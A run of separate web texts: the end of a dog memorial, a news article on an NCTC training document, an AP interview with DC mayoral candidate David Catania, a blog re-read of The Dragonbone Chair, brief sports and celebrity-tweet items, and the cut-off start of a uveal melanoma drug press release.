quality food (along with lots of human food that wasn't too good for him - not that he'd have complained about that!). But he was there, always at my side. I was molested a few years ago. Khloe stopped the man - he bit him. I'm sure things would've been worse if Khloe hadn't been there. I was so scared I didn't tell anyone what happened for years, but he was my hero from then on (I was so happy when I finally did tell my family what happened and they called him "our hero"…). Eventually, I started caring for Khloe better. I took him for walks - when I realized how happy it made him to get out, it encouraged me to get out more. We took bike rides together, and long walks, and even started going to the dog park. I started training him - he learned to stay and roll over and speak and jump and crawl under things on command, we even started getting compliments at the store on how well behaved he was. Khloe was so happy - and along the way, this was helping me to feel better … I learned to cope with depression better because of him. I don't know if I'd still be here if it weren't for him. He was an odd dog. He was so, so protective of me (and women in general, but mostly me). I couldn't hug anyone or sit too close to someone without him getting jealous. Playfighting was a huge no-no around him - he'd even get upset when the other dogs in the family would play too rough. Khloe's best friend was his doggy cousin, Sasha the Basset Hound. Sasha was a few weeks old when my sister adopted her ... Khloe wasn't quite sure what to do with her, she was so small! They became friends quickly, though. He taught her lots of things ... How to chase the four wheeler at the cabin, and chasing chipmunks, how to wrestle (Such a weird dog! Khloe was allowed to play rough, but he'd get upset if anyone else did). Khloe always used her long basset ears against her in their playfighting. They were "attacted at the butt": they often could be seen together laying with their backsides against one anothers. They went on adventures together in the woods and loved to run together. He liked to think that he was a big, tough dog ... But he was really a big baby! At the dog park, he liked to run up to the other dogs with his head raised and his tail up like "I'm the boss!" but as soon as he got to them, he'd turn and look to me like "oh no, Momma, what did I do?" Fireworks terrified him (poor guy would hide under tables!), as did little kids. When we had a litter of kittens running around and they climbed all over him, he stayed absolutely still and cried until I moved them away from him. And, as he was a 75 pound, strong dog, he was fully capable of winning a game of tug-o'-war with his doggy cousin, Lucky, a 15 pound Parson Russel Terrier ... But he'd always let her win. We learned one day as the family was sitting in the backyard and someone was blowing bubbles in the next yard over that Khloe HATED bubbles - he smashed right into the back of the garage jumping up to pop one. And balloons? My seventeenth birthday, an aunt brought me some … I don't think she'll ever do that again. We had to put them away because Khloe was so upset, barking and trying to get to them to pop them. He hated water, too - he'd literally attack it. He'd dig and scoop at it with his mouth. He wasn't much help when I was trying to fish! On our morning walks at the river he'd get scared sometimes of the sound of the waves, but at the same time he always insisted on walking across a dock over the water. He hated rain, and would refuse to go outside in it. There are lots of birds that hang around the river where we walked - pigeons and ducks. Khloe never really minded them. However, if he saw a heron, he'd go CRAZY. He had a special brand of balls that he loved. At the dog park, he'd carry one around and make sure everyone knew it was his … He didn't like to let anyone throw it for him. If he had his ball when someone would hug me or get too close, he'd still get mad, but he wouldn't bark - just chew the ball really hard and stare. He loved to run. Anywhere he could be off leash was paradise for him. The first time he went to the family cabin, he ran around so much he made me scared that he was going to take off and not come back! I came to find out that he'd never go far, though. Even when we came across deer in the woods that he wanted to chase, he wouldn't leave me. He taught me so much in the short time he was here with me. I've loved dogs my entire life, but I never knew how strong a connection one can have with them before Khloe. I never knew how much one could change a person's life. I learned a lot about how to care for a dog, and he taught me a lot about caring for myself. He was, and always will be, my best friend. "The first time I laid eyes on you I knew right from the start That you were meant for me alone... You put your paw print on my heart. You taught me unconditional love, You made me laugh and smile. A little clown of angel white, With all your grace and style. Uncanny how you seem to know, All my feelings deep inside. Whether happy, sad or in-between, There’s nothing from you I can hide. Intelligence in those deep dark eyes How could one be so smart You knew just how to capture me You put your paw print on my heart A kiss, a whine, a growl, a bark A language all your own I understand your every word With knowledge I’ve never known I know that I am hooked for life I will let nothing keep us apart My friend, my pal, my soulmate You put your paw print on my heart." - Lori Lengen Khloe became sick in October, 2011 - he went off his food suddenly (still eating treats and we could get him to eat with yogurt or wet food mixed in his kibble) and started drinking excessively. He had a blood test and urinalysis done at the vet, which came back showing that he was hypercalcemic,no other problems. We went home with a diuretic and a steroid to help flush the excess calcium from his system. He did well on those - they made him SO hungry though - poor guy never stole food off the table until he was on those medications. We took him back the next week to redo the bloodwork and had x-rays done at that time. His calcium was back to normal, nothing abnormal on the x-rays. So we started to ween him off the medication ... He became sick again a short while after. This time it was much worse: he wouldn't eat at all (except a few baby carrots), he was stumbling & lethargic. He spent the night at the emergency vet. They said his calcium was continuing to rise despite the medications and it had gotten so high the machine couldn't read it, & his kidney levels were elevated and they didn't know if it was because he was dehydrated or if it was failing. He stayed at the e-vet until late the next day receiving fluids and having other tests done - we sent one out to check his parathyroid levels, as at this point we had narrowed the causes down to either hyperparathyroidism or cancer. When we took him home he ate some chicken and rice and was okay with that for a day or two before he stopped eating again. He managed to go to the dog park one more time, it was only a short while, but he had fun as much as he could in his condition. He became tired very quickly, but he had fun walking around the park with his favorite ball. We took some pictures together. He was going downhill that last week. He was so weak I had to help him to bed and into the car for rides, I'd never had to do that before. I force fed him, and he hated it. We spent most of that week laying on the couch or in bed together. His last couple of days he was so exhausted, but he couldn't seem to get comfortable... You could hear him cry very softly as he breathed. The vet finally got back to me about his test results. His parathyroid levels were normal, which left the only other cause to cancer. She said we could pursue it and try to find the cancer (we had absolutely no idea where it was or anything like that) ... I don't think he was strong enough, even if we were to find the cancer, to undergo treatments or surgery at that point. He was shutting down. He had lost weight, the muscles on his shoulders were sunken in ... Being at the vet made him miserable anyway - his poor nose was rubbed raw from his stay at the emergency vet and I was told he wouldn't stop barking. I felt that would be cruel to put him through that. I couldn't let him suffer any more. I helped him to cross the Rainbow Bridge the morning of November 12th, 2011. Rest in peace, Bah-Bah, Momma loves you, and always will. Thank you for everything. "So this is where we part, my friend, and you'll run on, around the bend, gone from sight, but not from mind, new pleasures there you'll surely find. I will go on, I'll find the strength, life measures quality, not its length. One long embrace before you leave, share one last look, before I grieve. There are others, that much is true, but they be they, and they aren't you. And I, fair, impartial, or so I thought, will remember well all you've taught. Your place I'll hold, you will be missed, the fur I stroked, the nose I kissed. And as you journey to your final rest, take with you this... I loved you best." - Jim Willis -NEW YORK -- A training document released in response to a civil liberties organization's lawsuit and obtained by The Huffington Post reveals that the government considers an "analyst's wisdom" the ultimate arbiter of whether data on American citizens can be classified as "terrorist information" and retained forever. "Only a CT (counter-terrorism) analyst can determine whether data constitutes terrorism information," the electronic training course for new National Counterterrorism Center analysts states. "There is no requirement that the analyst's wisdom be rock solid or infallible." The document, identified by its introduction as a "rules of the road" course on data access and use, is marked "SECRET." But it was released in a significantly redacted form to the Electronic Privacy Information Center under a Freedom of Information Act request on Tuesday, in response to a lawsuit filed in August 2012. The training course is a novel window into the thought processes of analysts for the NCTC, which was created by President George W. Bush in 2003 in response to recommendations from 9/11 Commission. The NCTC is supposed to connect the dots on potential terrorist threats to the United States by combining information from other agencies like the Central Intelligence Agency, Federal Bureau of Investigation and Department of Homeland Security. The NCTC saw its powers to legally examine and retain data on American citizens and other people in the country vastly expanded under rules approved by the Justice Department in March 2012. As the Wall Street Journal reported in December, the agency can now copy entire databases -- such as citizens' flight records -- and retain that information for up to five years. The public affairs department of the Office of the Director of National Intelligence said in a written comment that the training document was created in 2012 and is still in use. Since deeming data "terrorist information" makes it eligible to be saved in the NCTC's database forever, the document's fuzzy definition of terrorist information is a source for concern, said Ginger McCall of EPIC. "This is high stakes, because you're talking about potentially being classified in connection with terrorism information," she said. "The data can be retained indefinitely then. We don't know all the parties that this data is shared with, or all the uses that are made of this data." The NCTC guidelines say that data can be retained indefinitely where there is a "reasonable and articulable suspicion" that it has something to do with terrorism. The training course provides for the first time an explanation of how analysts come to that conclusion: The analyst must be able to explain the "math" (logic) on their analysis and how they arrived at their conclusion. This is the articulable portion of the standard. The "math" or analysis must be prudent to the average counterterrorism analyst. This is the reasonable portion of the standard. "They try to boil it down to math, as if this is an exact science," said McCall. "It's not an exact science, as they acknowledge below." Further down on the same slide, the course states that "The totality of the facts -- even if the facts individually appear innocent in nature" can be used to classify data as terrorist information. And it also states the line about there being "no requirement that the analyst's wisdom be rock solid or infallible," adding, "In fact, it is expected to change as new information comes to light." The document does not specify what kind of access the NCTC has to Americans' private information. Before the center's new guidelines went into effect, a Department of Homeland Security privacy official warned that they represented a "sea change" in how the government treated its citizens' privacy. An information paper released by the Office of the Director of National Intelligence in January claimed that the new guidelines improved on old ones by "adding specificity on how data is obtained, retained, and disseminated, and providing for enhanced safeguards and oversight mechanisms to protect important privacy and civil liberties." EPIC's ultimate goal with its Freedom Of Information Act request is to find out which government agencies are sharing information with the NCTC, and under what terms they are allowing the center to make wholesale copies of databases. So far, however, the government has refused to provide the memorandums of understanding between the NCTC and other government agencies. The government claimed to EPIC that it couldn't find any such memoranda, even though they are referenced and linked in the training guide. The ODNI public affairs office declined to comment on the missing memoranda, citing EPIC's ongoing lawsuit. Until the interagency agreements are released, McCall said, the public will remain in the dark. "If we're going to be using these sorts of mechanisms where it's wholesale retention of information … we should have a real conversation about that," she said. "We should have a real debate about what these protections for privacy and civil liberties are." Read the full document: -WASHINGTON (AP) - Conventional wisdom dictates that David Catania is an underdog in the race for mayor of Washington. He is white, a former Republican and openly gay in a city that has only elected African-American Democrats to its top local office. But Catania, who has never lost an election in the District of Columbia, doesn't see his matchup with Democratic nominee Muriel Bowser that way. "I've never considered myself an underdog. I've always considered myself very lucky," Catania, an independent who has served on the D.C. Council since 1997, said in an interview Wednesday with Associated Press reporters and editors. "I know if I get up every day and do my best and communicate my message, I know I'll win." Catania, 46, believes his quest to make history comes down to the contrast between his record and Bowser's, and he doesn't believe voters will define him based on his race, sexual orientation or former party affiliation. Catania left the GOP in 2004 over then-President George W. Bush's opposition to gay marriage, and since then he has championed a number of progressive issues. Three out of four registered voters in the city are Democrats, and party leaders have pledged to unify behind Bowser following a bruising primary in which she defeated scandal-plagued incumbent Vincent Gray amid historically low turnout. Many voters said they supported Bowser primarily because they believed she was best positioned to oust the mayor, whose 2010 campaign remains the subject of a federal corruption probe. Five people who worked on the campaign have pleaded guilty to felonies. Before the primary, polls showed Catania roughly even with Gray in a hypothetical matchup but trailing Bowser by huge margins. Still, Catania said he was undaunted by the city's Democratic machine. "I think it's a paper tiger," he said. "If I ask a voter on the street if they can name one thing my opponent has done, they get a real stumped look because she has a (party) label but she has no record." Bo Shuff, Bowser's campaign manager, declined to respond to any of Catania's comments. Becoming the city's first openly gay mayor, Catania said, would be more significant nationally than locally, and he doesn't think his sexual orientation will influence the election. "Having an LGBT mayor of our nation's capital sends an important message to our entire country about what America is. America is a place where there is equal opportunity, where there is fairness, and it is a place where if you play by the rules, you can succeed," Catania said. "... Having yet another group achieve success through fidelity to those values is an affirmation of what's great about this country. But that's it. We're not going to have fabulous parties." Catania, who chairs the council's education committee, has made improving the city's public schools his top priority, with an emphasis on narrowing the achievement gap and improving outcomes for poor students. Bowser has refused to yield on the topic, saying that no one will move faster than her on education reform. Neither candidate has committed to retain schools Chancellor Kaya Henderson, who has maintained and fine-tuned the standardized testing policies and rigorous teacher-evaluation system established by her more famous predecessor, Michelle Rhee. In a city with mayoral control of schools, Catania said the job of the chancellor, whoever it is, would be to execute his vision. "As mayor, I will be, as the law permits, responsible for schools," he said. "They're not voting for staff. They're voting for leaders." Throughout the hour-long interview, Catania steered the conversation back to a contrast between his record and Bowser's. He accused her of failing to use her chairmanship of the council's economic development committee to address the city's homeless crisis. Meanwhile, he has pushed through several ambitions education bills - including a costly college scholarship program - with unanimous votes. Catania is eager to debate Bowser, but her campaign said it would agree to debates only after the general-election ballot is finalized in September. "There is a reason why Ms. Bowser refuses to debate me: because she has nothing to say," he said. -I’ve recently finished an in-depth re-read of The Dragonbone Chair, the first book in Tad Williams’ Memory, Sorrow and Thorn trilogy (or tetralogy because when the series was put out in paperback, the third door stopper had to be split in two). I’m re-reading it for two main reasons: Williams has announced a new three book series, placed in the same world, called THE LAST KING OF OSTEN ARD; and though I remember liking it when I read it when it was first released, I cannot remember through the years the details. My Dad used to call this “CRS Syndrome” (Can’t Remember S___). I’m happy to report that The Dragonbone Chair stands up to the test of time, at least in my re-read of it. Published in 1988. it has an obvious place in the fantasy timeline after Tolkien’s Lord of the Rings (LOTR) published in the mid 50’s, and before George R.R. Martin’s A Song of Ice and Fire (ASOIAF) (known as Game of Thrones by HBO viewers) published from 1996 through hopefully-not-too-many-years-from-now. Like many other fantasy epics of its time, it is influenced by Tolkien. But unlike many published around the same time, it not a Tolkien imitator (though there are some similarities). GRRM cites the series as an influence on his own A Song of Ice and Fire series. (Read Daniel Kaszor’s article in the National Post that talks about Williams’ series as an inspiration for the A Song of Ice and Fire series and as starting the wave of American fantasy; also, if interested, there is an article about a Tad Williams’ hosted book signing of Martin where Martin discussed this series as inspiration.) Place in Fantasy History After the publishing of The Lord of the Rings (published in 1954 and 1955), there were a great many Tolkien imitators released (Terry Brooks Shannara series in 1977 is an example). But there were many great fantasy series that attempted to either build on The Lord of the Rings and/or take epic fantasy in a new direction: Michael Moorcock’s Law vs. Chaos cycle of books but especially Elric, (which first appeared in 1972), Corum (gotta love the silver hand), and the others in the Eternal Champion meme; David Edding’s Belgariad series (started in 1982); Roger Zelazny’s Chronicles of Amber series; and Stephen R. Donaldson’s Thomas Covenant series. Robert Jordan (w/ Brandon Sanderson)’s Wheel of Time series (nominated en masse for the 2014 Hugo) should be mentioned as a contemporary series of A Song of Ice and Fire. Some of these series certainly aren’t as well known as more recent series (except for the wonders that epic movies or HBO TV series will do for a fantasy series mind share!) such as Patrick Rothfuss’ Name of the Wind series, or either of Brandon Sanderson’s series, but they’ve had a part in influencing fantasy authors. For perspective on publishing dates, I was going to put in a timeline, but could only build a table…so let’s just call it a time-table. (Rimshot!) This is not meant to be an exhaustive list by any means, but a timeline to show where Memory, Sorrow & Thorn‘s publication dates sit relative to the other series discussed and relative to the first books of other fantasy series. Since this timeline starts with the 1950s (with the LOTR publications), it does leave out titles such as The Hobbit (1937) and the Gormenghast series by Mervyn Peake (starting with Titus Groan – 1946, Gormenghast – 1950 and Titus Alone – 1950) which Tad Williams sites as an influence. 1950s LOTR Book 1 (1954) LOTR Book 2 (1954) LOTR Book 3 (1955) 1960s Earthsea Cycle Book 1 (1968) Dragonriders of Pern Book 1 (1968) 1970s Chronicles of Amber Book 1 (1970) First Elric novel (1972) Thomas Covenant Book 1 (1977) Shannara Book 1 (1977) 1980s Belgariad Book 1 (1982) The Dark Tower Book 1 (1982) First Dragonlance Novel (1984) MS&T Book 1 (1988) 1990s MS&T Book 2 (1990) Wheel of Time Book 1 (1990) MS&T Book 3 (1993) ASOIAF Book 1 (1996) Malazan Book of the Fallen Book 1 (1999) 2000s Shadowmarch Book 1 (2004) Codex Alera Book 1 (2004) Mistborn Book 1 (2006) Kingkiller Chronicles Book 1 (2007) Night Angel Trilogy Book 1 (2008) There are, of course, many other series that could be mentioned here. On all of the sites that try such feats as rating the most popular fantasy series, the more recent the series (or the more recent the TV or movie adaptation), the higher the rating. This table is not meant to be such a rating but rather to show a progression juxtaposed against time. A true timeline would match these series against the events of the world around them: World War II; the Vietnam War; the spread of the Internet; Al Gore’s invention of the Internet (which should surely show on any fantasy timeline); 9/11; and other historical and social events that would influence writers, not just of epic fantasy but of all genres. Tolkien to Tad to GRRM Amidst all of the other books and series released since LOTR, there seems to be an obvious progression from Tolkien’s series to Williams’ to Martin’s. The Memory, Sorrow and Thorn series is less well-known these days, most likely due to the success of the LOTR movies and Game of Thrones HBO series. From a certain perspective, Williams’ MS&T is at once an homage to LOTR and a commentary on those parts that seem a bit “black and white” (and a bit too puppy dogs and sunshine, IMHO). For example, in LOTR as men are usurping the elves as the dominant “species” in that world, the elves seem to be willing allies. But in The Dragonbone Chair (TDC), the Sitha (who were in Osten Ard before men) are un-willing to help men, and in some instances begrudge them their right to the land (since men killed many Sitha and took their cities, a grudge is most likely in order). “Then know this,” Jiriki said stiffly. “Though the years that have passed since we were sundered from the Hikeda’ya – those you call the Norns – are as numerous as snowflakes, still we are one blood. How could we take the side of upstart men against our kin? Why should we, when once we walked together beneath the sun, coming out of the ultimate East? What allegiance could we possibly owe to mortals, who have destroyed us as eagerly as they destroy all else…even themselves?” None of the humans but Binabik could meet his cold gaze. Jiriki lifted a long finger before him. “And the one you whisperingly call the Storm King…he whose name was Ineluki…” He smiled bitterly as the companions stirred and shivered. “Ah, even his name is fearsome. He was the best of us once – beautiful to see, wise far beyond the understanding of mortals, bright-burning as a flame! – if he is now a thing of dark horror, cold and hateful, whose is the fault? If now, bodiless and vengeful, he schemes to brush mankind from the face of his land like dust from a page – why should we not rejoice? It was not Ineluki who drove us into exile, so that we must always hide among Aldheorte’s dark trees like deer, wary always of discovery. We strode Osten Ard in the sunlight before men came, and the works of our hands were beautiful beneath the stars. What have mortals ever brought to us but suffering?” (pg 686-687) In LOTR, the only good orc or goblin is a dead orc or goblin. In TDC it is not that black and white; the Sitha (who are potential allies to men but not sure they want to be allied with them) and the Norns (who are the big baddies) are the same species, with some existing familial relationships between them. Since they were written in different times and in different countries, the social norms had changed. LOTR is a quite chaste book, with perhaps the description of a kiss or two. In The Dragonbone Chair, as Simon grows up his hormonal imagination provides commentary on females, human and Sitha. There is even hints of somewhat forced sex in the next book (Stone of Farewell), but certainly nothing on the scale of the sexual escapades in Martin’s series, written 20 years later (and over emphasized for ratings on HBO). The three books in the LOTR trilogy were written while victory in World War II was fresh in the minds of all (except those that lost!) and that feeling of hope and of overcoming all odds (“we shall never surrender!”) permeates those novels. Propaganda in both World War I and World War II was aimed at making the opposing side viewed to be “evil”, so the strong “good vs. evil” (with no in-between) theme in LOTR reflects those times. Tolkien himself was an officer in World War I and experienced the nastiness of trench warfare. While Tolkien has stated that LOTR is not based on his experiences in war, there are several interesting articles that point out the similarities. The Dead Marshes and WWI trench warfare are particularly telling. Williams grew up during the Vietnam era; one would assume that the non-“black and white”, “all is not what it seems” nature of the times influenced that tone in the MS&T series. It is also interesting that while magic is in-your-face in LOTR — especially with Gandalf and Saruman front-and-center — it is more subtle in both MS&F and ASOIAF. (Although, all three have dragons, if you include The Hobbit! All worlds need more dragons, including our own. At least the latter two series have wolves: Binabik the troll’s Qantaqa and the Stark’s Direwolves). Some of this may be oversimplification, but the progression from a good vs. evil from LOTR, to MS&T where there are some grey areas, to ASOIAF where there seem to be no dominant good vs. evil themes (but certainly fire vs. ice themes!) tracks along with the evolution of epic fantasy. There are some obvious similarities in LOTR and MS&T. When The Storm King was first described in The Dragonbone Chair, I must admit my mind’s eye saw Sauron…with antlers. (Sorry, Tad.) There are, of course, many parallels between the Elves and the Sithi. And there is a long journey or quest with two main protagonists (Frodo and Sam; Simon and Binabik) who build a unique bond. Both series also feature fully imagined deep worlds with long histories. But in The Dragonbone Chair the truth of past histories is not always as wonderful as the legends and stories are remembered to be, one of the issues I believe Williams was trying to bring forth about LOTR. The past in LOTR is usually remembered as being a wonderful time; an occasional war, but other than that lots of puppy dogs and sunshine; in MS&T, the veil of past legends is slowly pulled back to reveal something a bit more unseemly than written or remembered. The similarities between The Dragonbone Chair and A Game of Thrones (the novel, not the TV show) are many, with some being tips of the hat from Martin to Williams. In addition to the aforementioned dragons and wolves/direwolves: Both feature unique and strange thrones; Both feature a red-robed advisor to a king (Pryrates/Milisandre) with questionable motives; Both have a King’s Hand Both have a handless relative to a king. There are many more listed on this article on the OstenArd.com website. The Dragonbone Chair Unlike the latter two books in the series, The Dragonbone Chair is all Simon, the young hero of the series; out of the 44 chapters in this first book, Simon makes an appearance in all but three of them. (Yes, I am a semi-OCD Math, Physics and CompSci major…but I’ve gotten better.) This is in sharp contrast to the latter books in the series which bounces back and forth between several groups of characters as the conflict spreads throughout the world. Simon/Seoman is 14 years old at the start of this book, at that not-a-kid/not-an-adult age, driven by dreams and sometimes hormones. Whether he is accidentally thrust into this worldwide adventure or whether it was his destiny or birthright is a secret Williams keeps for many pages. (I’m at the beginning of the third book, and I still don’t know and can’t remember.) Simon, normally a kitchen scullion, is apprenticed to Morgenes, a type of professor/magician, who points Simon to books when Simon asks to learn magic. “Books,” Morgenes said grandly, leaning back on his precarious stool, “-books are magic. That is the simple answer. And books are traps as well.” “Magic? Traps?” “Books are a form of magic-” the doctor lifted the volume he had just laid on the stack, “- because they span time and distance more surely than any spell or charm. What did so-and-so think about such-and-such two hundred years agone? Can you fly back through the ages and ask him? No, or at least, probably not. “But, ah, if he wrote down his thoughts, if somewhere there exists a scroll or a book of his logical discourses…he speaks to you! Across centuries! And if you wish to visit far Nascandu or lost Kkandia, you have also but to open a book…” “Yes, yes, I suppose I understand all that.” Simon did not try to hide his disappointment. This was not what he had meant by the word magic. “What about traps, the? Why traps?” Morgenes leaned forward, waggling the leather-bound volume under Simon’s nose. “A piece of writing is a trap,” he said cheerily, “and the best kind. A book you see is the only kind of trap that keeps its captive – which is knowledge – alive forever. The more books you have,” the doctor waved an all-encompassing hand around the room, “the more traps, then the better the chance of capturing some particular elusive, shining beast – one that might otherwise die unseen.” Morganes finished with a grand flourish, dropping the book back on the pile with a loud thump. A tiny cloud of dust leaped up, the flecks milling in the banded sunlight leaking past the window bars. Simon stared at the shimmering dust for a moment, collecting his thoughts. Following the doctor’s words was like trying to catch mice while wearing mittens. “But what about real magic?” he said at last, a stubborn crease between his brows. “Magic like they say Pryrates does up in the tower?” For a brief instant a look of anger – or was it fear – crossed the Doctor’s face. “No, Simon,” he said quietly. “Do not throw Pryrates up at me. He is a dangerous, foolish man.”(pg 93) Quite a bit of foreshadowing in this passage, as Morgenes’ own book/scroll on the life and history of the current king becomes a source of elusive knowledge to Simon and his companions, as they oppose Pryrates. Or Morgenes could have been describing my study and its currently overflowing to-be-read stacks. King John Prester, he who united the world of men, dies, and the world falls into chaos. The Norns, like their brethren the Sitha so long lived that they seem immortal, have been plotting vengeance for quite some time, and put their plan into motion. They make an alliance with King John’s heir, Elias, through an evil priest named Pryrates and the country soon feels the wrath of that alliance with changing weather patterns, the appearance of things previously unseen and Elias’ heavy handedness. Through all this Simon moves from clueless youth to wanderer to adventurer. The three sections of the book are aptly named “Simon Mooncalf”, “Simon Pilgrim” and “Simon Snowlock”. If you have not already read this book, spoilers are next in this brief summary (for more detail, links to the re-reads are included). In Part One – Simon Mooncalf (my re-read is post here), Simon has a relatively normal life (thinking about girls, dreaming about battles, trying to sneak off to join the army) until being apprenticed to Morgenes. Reference is made to Simon’s birth to an unknown father, and a promise made by Morgenes to keep the boy safe. When King John dies, the kingdom slowly slides into disrepair – bad weather, taxes, the new King Elias (son of John) having a heavy hand. Elias is counseled by Pryrates, the prototypical evil dude. King Elias’ brother Josua goes missing, and when Simon finds Josua held captive apparently by Pryrates, things spin out of control. Morgenes and Simon help Josua escape, but Pryrates attacks Morgenes, who pushed Simon into the same secret passage under the castle before burning himself and trying to burn their assailants. Simon wanders underneath, hearing the voices of long ago Sithi, the former inhabitants of the castle, who were driven into hiding by men. Simon eventually escapes and sees King Elias and Pryrates in a ceremony with the Norns, who are like the Sithi, and Simon witnesses some kind of pact between the King and one of the Red Hand, undead minions of Ineluki, the Storm King, who died long ago. In Part Two – Simon Pilgrim (re-read post here), Simon has runaway, and is outside of the castle and alone for the first time in his life. Once Simon escapes/ventures outside of the castle, he meets trolls, Sithi and other humans from far away lands. Simon frees a Sithi from a trap, who gives him a White Arrow in return. He meets Binabik (and Qantaqa the wolf) and journeys along with them. They head for the rest and safe haven of an abbey in the forest, only to find the abbey burning, its inhabitants mostly killed. Simon is briefly captured by a band from the Hayholt (but not King Elias men) then escapes when creatures from legend called Bukken attack the band. Simon and Binabik head back into the woods, and find themselves hunted by men and dogs, sent by Pryrates to track down Simon (who saw too much). They rescue two girls, one of whom is Marya, who Simon knew as a boy Malachias, from the castle. Together, all journey to the house of the witch woman Geloë. Here, Binabik and Simon travel the dream road with the witch woman, and discover some of the forces that are allied with King Elias and Pryrates. The huntsman and his dogs come at them again, and they run toward an ancient Sithi city, where the huntsman shoots an arrow through Binabik. Simon saves his friend, and with Marya they are eventually rescued by Josua outside of the castle Naglimund. In Part Three – Simon Snowlock (re-read post here), Simon comes into his own on a quest to find the sword Thorn to the far north where few have ever ventured. The sword Thorn is part of three swords (Memory, Sorrow and Thorn) which legend (and Morgenes final manuscript) says must come together to defeat the un-dead king Ineluki. Much of this knowledge is researched through the League of the Scroll, which Morgenes and Binabik’s master were a part of. Simon also finds that Marya is actually Miriamele, King Elias’ daughter and a princess. Simon and Binabik travel north with others. The same huntsman with his dogs falls upon them, but they are saved by Sithi, one of whom is Jiriki, the Sitha that Simon saved from the trap. The Sithi join with Simon’s quest. Together, they find the sword Thorn and awaken an ancient dragon which was guarding it. Simon wields Thorn and hits the dragon, showering himself with dragon’s blood and causing the dragon’s retreat. The rest, under Prince Josua, prepare for King Elias’ assault on the castle Naglimund. There is much politicking trying to sway Nabban and Hernystir (other kingdoms under Elias) to join one side or the other; but King Elias wins these kingdoms through treachery. The castle is eventually brought down by the forces of the Norns, the Red Hand and the Bukken, those whom Elias has made alliance with. Josua and some few others escape the castle into the forest. Thus, for the next book, Elias, Pryrates and the Storm King certainly seem to have the upper hand. But Simon has the sword Thorn, and has smote a dragon down…and has a piece of his hair burned white to show for it. There are many questions that are setup through this book: Who is Simon, and who are his parents? How can they stop Elias and the Storm King? What was the bargain that Elias made with the Storm King? What are the three swords supposed to do with they come together? Will the Sithi help man/mortals against their former brethren, the Norns? Who/What is the third original race (along with Sithi and Norns)? Will Simon ever get the girl? If you’ve read it before, The Dragonbone Chair is one of those few books worth the re-read. If not, you still have time to read it before the release of the next trilogy, The Last King of Osten Ard. Like this: Like Loading... -CHARLOTTE, N.C. -- The Charlotte Bobcats waived seldom-used guard Ben Gordon on Sunday, leaving their roster at 14 players. Bobcats president of basketball operations Rod Higgins said in a statement that "with the recent acquisition of additional backcourt depth to our roster, we believe this is in the best interests of both parties." Gordon won't be eligible to play for another team in the postseason since he wasn't waived by the March 1 deadline. Charlotte got Gordon from the Detroit Pistons with a future first-round draft pick in June of 2012 for Corey Maggette. The Bobcats will get Detroit's pick this year if it is outside the top eight. Gordon is making $13.2 million this season. Gordon never saw significant playing time in Charlotte. He played in only 19 games this season, averaging 5.2 points, 1.4 rebounds and 1.1 assists in 14.7 minutes. -Donald Trrump appears to have clinched the crucial Patton Oswalt vote. Or maybe Oswalt is just doing what he so often does: Comically provoking people through social media. The famous funny man put his Twitter account into overdrive on Wednesday, hitting up GOP presidential candidate Trump with a barrage of tweets begging him to stay in the race, after reports suggested that Republican officials think he might drop out of the running. Also Read: Samantha Bee Apologizes for Eric Trump Tweet Amid speculation that the GOP isn’t exactly happy to have Trump as their poster boy, Oswalt also encouraged Donald to emphasize that he speaks for all Republican politicians who are up for election this year. “Do NOT drop out of the 2016 race, @realDonaldTrump,” Oswalt tweeted. “Under NO circumstance. Stay right where you are. Until. The. End.” Oswalt further encouraged Trump not to censor himself, though that doesn’t seem to have been a problem so far for the reality TV personality turned politician. Also Read: Rudy Giuliani, GOP Leaders Plot Donald Trump Intervention “Also, @realDonaldTrump? Keep speaking your mind,” Oswalt enthused. “Whatever pops into it. Always. No editing. Do NOT stop. Keep going.” Another plea from the comedian requested, “Also, @realDonaldTrump? Really hammer that you speak for all GOP Senators, governors & congresspeople also running. ALWAYS. Hit that hard.” According to a report earlier Wednesday, senior Republican party officials are looking into a contingency plan, should Trump decide to bow out of the race. Also Read: Patton Oswalt Mourns His Wife, Compares Grief to Jason Statham ABC News said that party leaders think that Trump might exit stage ultra-right due to recent controversies, such as his attack on the parents of a Muslim American soldier killed during the Iraq War who criticized Trump during the Democratic National Convention. But with Patton Oswalt‘s supporting wind behind him, perhaps Trump will find the strength to carry on. Read below for Oswalt’s one-man campaign to keep Trump in the running. On second thought? Do NOT drop out of the 2016 race, @realDonaldTrump. Under NO circumstance. Stay right where you are. Until. The. End. – Patton Oswalt (@pattonoswalt) August 3, 2016 Dear @SpeakerRyan: If there’s literally ANYTHING I can do to make sure @realDonaldTrump stays in this race ’til the end, let me know. – Patton Oswalt (@pattonoswalt) August 3, 2016 Also, @realDonaldTrump? Really hammer that you speak for all GOP Senators, governors & congresspeople also running. ALWAYS. Hit that hard. – Patton Oswalt (@pattonoswalt) August 3, 2016 Donald Trump vs The Khans: A Timeline (Photos) Getty Images/NBC CNN ABC News NBC News Twitter Getty Images Getty Images Getty Images Previous Slide Next Slide 1 of 8 How the Republican candidate came to criticize parents of fallen Muslim-American soldier Here's a timeline of Donald Trump's fight with Muslim-American immigrants Khizr and Ghazala Khan, who have criticized his proposal to temporarily bar Muslims from entering the United States. View In Gallery Related stories from TheWrap: 'Hollywood Medium' Tyler Henry Can See Donald Trump's Electoral Future Clint Eastwood on Donald Trump's Racism: 'Just F—ing Get Over It' Rudy Giuliani, GOP Leaders Plot Donald Trump Intervention -The melanoma-treating drug, selumetinib (red) bound to its protein target MEK1 (blue). (Image by Dr. Lucky Tran.) NEW YORK, NY (June 19, 2014) — For the first time, a therapy has been found that can delay progression of metastatic uveal melanoma, a rare and deadly form of melanoma of the eye. Results from a multicenter clinical trial show that a new drug called selumetinib increases progression-free survival, the length of time during and after treatment that a patient with metastases lives with the disease without its progressing. The findings were published in the online edition of JAMA, the Journal of the American Medical Association. “Although the effects of the drug were modest, we now know that we can influence the course of the disease, and we expect to build on this success with other drugs, including some already in development,” said senior author, Gary K. Schwartz, MD, professor of medicine and chief of hematology/oncology at NewYork-Presbyterian/Columbia University Medical Center and associate director of its Herbert Irving Comprehensive Cancer Center. (At the time of the trial, Dr. Schwartz was chief of the melanoma and sarcoma service at Memorial Sloan Kettering Cancer Center in New York.) Uveal melanoma is a cancer of the iris, ciliary body, or choroid—structures in the eye collectively known as the uvea. Uveal melanoma (which is biologically distinct from skin melanoma) arises from the uvea’s melanocytes, the pigment cells that give the eye its color. Once the disease has spread—most metastases appear in the liver—existing treatments are largely ineffective. About 1,500 cases of uveal melanoma occur in the United States each year, usually among older adults. The median survival rate for patients with metastatic uveal melanoma is 12 months. Several years ago, researchers found that 80 percent of patients with uveal melanoma had mutations to GNAQ 